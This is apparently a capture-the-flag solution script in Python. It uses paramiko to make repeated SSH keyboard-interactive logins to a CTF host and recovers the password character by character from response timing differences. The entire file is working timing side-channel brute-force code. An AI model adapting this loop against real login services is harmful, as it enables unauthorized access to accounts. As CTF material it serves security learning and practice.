Rating: 5.0

from string import digits

import paramiko

CHARSET = "CFT_cdhjlnstuw{}" + digits

current_password = ""
measurements = []


def handler(title, instructions, prompt_list):
    global current_password
    global measurements

    if instructions.startswith("["):
        title_time = float(
            title[13:27].replace("-", "").replace(" ", "").replace(":", "")
        )
        instructions_time = float(
            instructions[13:27].replace("-", "").replace(" ", "").replace(":", "")
        )
        current_time = instructions_time - title_time

        if current_time < 10:
            measurements.append((current_time, CHARSET[len(measurements)]))

    if len(measurements) == len(CHARSET):
        measurements.sort()
        print(measurements)
        current_password += measurements[-1][1]
        print(current_password)

        measurements = []

    return (current_password + CHARSET[len(measurements)],)


while True:
    transport = paramiko.Transport(("hasshing.nc.jctf.pro", 1337))
    transport.connect(username="ctf")
    try:
        transport.auth_interactive("ctf", handler)

        print(current_password + CHARSET[len(measurements)])
        break
    except paramiko.ssh_exception.AuthenticationException:
        pass
    finally:
        transport.close()